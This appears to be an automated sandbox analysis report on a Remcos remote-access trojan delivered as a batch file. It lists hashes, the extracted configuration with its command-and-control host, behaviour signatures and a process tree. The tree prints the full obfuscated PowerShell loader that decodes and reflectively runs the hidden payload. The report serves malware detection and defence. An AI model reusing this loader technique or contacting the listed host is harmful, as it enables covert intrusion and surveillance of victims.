Analysis
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max time kernel
38s -
max time network
39s -
platform
windows10-ltsc 2021_x64 -
resource
win10ltsc2021-20241023-en -
resource tags
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submitted
01-12-2024 16:55
General
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Target
Vuupkzeyx.bat
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Size
1.7MB
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MD5
cc0e4b5bdfc8fea0703e0e1f2342c915
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SHA1
d14c623ce04289e2a4024381c2e99c9ff20a84cc
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SHA256
12ea5712edf3120754d3f1ce995f46bf855a4eb47ed0830a574068a584fae628
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SHA512
3182d67031dbc35395adf93d6ec3dc5b6cdbcb286f87242ba2bb54090a82f80a2247a277fe6c1d050cd3ac5cb00e1330681e1a89d9887249e498cf6da351b771
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SSDEEP
24576:hKvkZKBxfTCRFcjanaAKbySo1RfOIPC2ZH5yLJgQiL44e/b4fPh9y0qV5mPRswMD:svo2pJa9Ow50dmbMmCiw
Malware Config
Extracted
remcos
RemoteHost
24.ip.gl.ply.gg:7694
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audio_folder
MicRecords
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audio_path
ApplicationPath
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audio_record_time
5
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connect_delay
0
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connect_interval
1
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copy_file
remcos.exe
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copy_folder
Remcos
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delete_file
false
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hide_file
false
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hide_keylog_file
false
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install_flag
false
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keylog_crypt
false
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keylog_file
logs.dat
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keylog_flag
false
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keylog_folder
remcos
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mouse_option
false
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mutex
Rmc-4QV34V
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screenshot_crypt
false
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screenshot_flag
false
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screenshot_folder
Screenshots
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screenshot_path
%AppData%
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screenshot_time
10
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take_screenshot_option
false
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take_screenshot_time
5
Signatures
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Remcos
Remcos is a closed-source remote control and surveillance software.
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Remcos family
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Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
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Sets file to hidden 1 TTPs 1 IoCs
Modifies file attributes to stop it showing in Explorer etc.
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Drops startup file 1 IoCs
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Executes dropped EXE 1 IoCs
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Suspicious use of SetThreadContext 1 IoCs
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Drops file in Windows directory 1 IoCs
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System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
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Modifies registry class 1 IoCs
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Suspicious behavior: EnumeratesProcesses 3 IoCs
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Suspicious use of AdjustPrivilegeToken 2 IoCs
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Suspicious use of WriteProcessMemory 24 IoCs
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Views/modifies file attributes 1 TTPs 1 IoCs
Processes
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Vuupkzeyx.bat"2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\chcp.comchcp 650013⤵
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo F "3⤵
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C:\Windows\system32\xcopy.exexcopy /d /q /y /h /i C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\Vuupkzeyx.bat.Lau3⤵
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C:\Windows\system32\attrib.exeattrib +s +h C:\Users\Admin\AppData\Local\Temp\Vuupkzeyx.bat.Lau3⤵
- Sets file to hidden
- Views/modifies file attributes
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C:\Users\Admin\AppData\Local\Temp\Vuupkzeyx.bat.LauC:\Users\Admin\AppData\Local\Temp\Vuupkzeyx.bat.Lau -WindowStyle hidden -command "$Eshlfusgtgb = get-content 'C:\Users\Admin\AppData\Local\Temp\Vuupkzeyx.bat' | Select-Object -Last 1; $Kgebqo = [System.Convert]::FromBase64String($Eshlfusgtgb);$Gvjqxfpp = New-Object System.IO.MemoryStream( , $Kgebqo );$Cycjrzzlzy = New-Object System.IO.MemoryStream;$Bibxmqhypv = New-Object System.IO.Compression.GzipStream $Gvjqxfpp, ([IO.Compression.CompressionMode]::Decompress);$Bibxmqhypv.CopyTo( $Cycjrzzlzy );$Bibxmqhypv.Close();$Gvjqxfpp.Close();[byte[]] $Kgebqo = $Cycjrzzlzy.ToArray();[Array]::Reverse($Kgebqo); $Jiasfyokxtu = [System.Threading.Thread]::GetDomain().Load($Kgebqo); $Viwsypp = $Jiasfyokxtu.EntryPoint; $Viwsypp.DeclaringType.InvokeMember($Viwsypp.Name, [System.Reflection.BindingFlags]::InvokeMethod, $null, $null, $null)| Out-Null"3⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops startup file
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"2⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\uijjzom.vbs"3⤵
- System Location Discovery: System Language Discovery
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
425KB
MD56bb54b2d7a3d63578559239a79700ea3
SHA1bc8d22b16e9ab2045c3acfb8ff1c0ce97bd9936a
SHA256870eda04ea71cc066ec907f005e1d05ce592f04799c60e600e2cb986dc85b5eb
SHA5125eb2369b6d5cf615d9ef49315ef2278db7cf9a9fe2deb3c2568ff114d51dbd1a9ca4e4ab696e0bf6e2c5d9e3e2c84c706cd550824f3b45b3f7df1690503a4614
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
382B
MD53db952c728fab3baa68a61db75d074c8
SHA167f61b864fe60acee701cea9cb65469395ff8f30
SHA256b1860633c96be2e60353cf76801c6ea53df1761af69383337b297487748a044b
SHA512a1046e6de280772b293d7f4bb1afd2729d0f435265591ed3e3861607ab8366176e3d53b1a1b628d1adaa396475d6612ea8531ee593198e9ac99d1f5d5bbecea1
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Filesize
4KB
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Filesize
216KB
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Filesize
7.7MB
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Filesize
6.8MB
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Filesize
136KB
-
Filesize
408KB
-
Filesize
408KB
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Filesize
3.3MB
-
Filesize
120KB
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Filesize
304KB
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Filesize
600KB
-
Filesize
104KB
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Filesize
136KB
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Filesize
5.6MB
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Filesize
6.5MB
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Filesize
1.4MB
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Filesize
584KB
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Filesize
40KB
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Filesize
7.7MB
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Filesize
1.2MB
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Filesize
1.1MB
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Filesize
1.1MB
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Filesize
1.1MB
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Filesize
1.1MB
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Filesize
1.1MB
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Filesize
1.1MB
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Filesize
1.1MB
-
Filesize
1.1MB
-
Filesize
1.1MB
-
Filesize
1.1MB
-
Filesize
1.1MB
-
Filesize
1.1MB
-
Filesize
1.1MB
-
Filesize
1.1MB
-
Filesize
1.1MB
-
Filesize
1.1MB
-
Filesize
1.1MB
-
Filesize
1.1MB
-
Filesize
1.1MB
-
Filesize
1.1MB
-
Filesize
1.1MB
-
Filesize
1.1MB
-
Filesize
1.1MB
-
Filesize
1.1MB
-
Filesize
1.1MB
-
Filesize
1.1MB
-
Filesize
1.1MB
-
Filesize
1.1MB
-
Filesize
1.1MB
-
Filesize
1.1MB
-
Filesize
1.1MB
-
Filesize
1.1MB
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Filesize
1.1MB
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Filesize
7.7MB
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Filesize
304KB
-
Filesize
608KB
-
Filesize
336KB
-
Filesize
4KB
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Filesize
7.7MB
-
Filesize
7.7MB
-
Filesize
7.7MB
-
Filesize
7.7MB
-
Filesize
7.7MB
-
Filesize
7.7MB
-
Filesize
7.7MB
-
Filesize
7.7MB
-
Filesize
7.7MB
-
Filesize
7.7MB
-
Filesize
7.7MB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
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Filesize
7.7MB
-
Filesize
508KB
-
Filesize
508KB
-
Filesize
508KB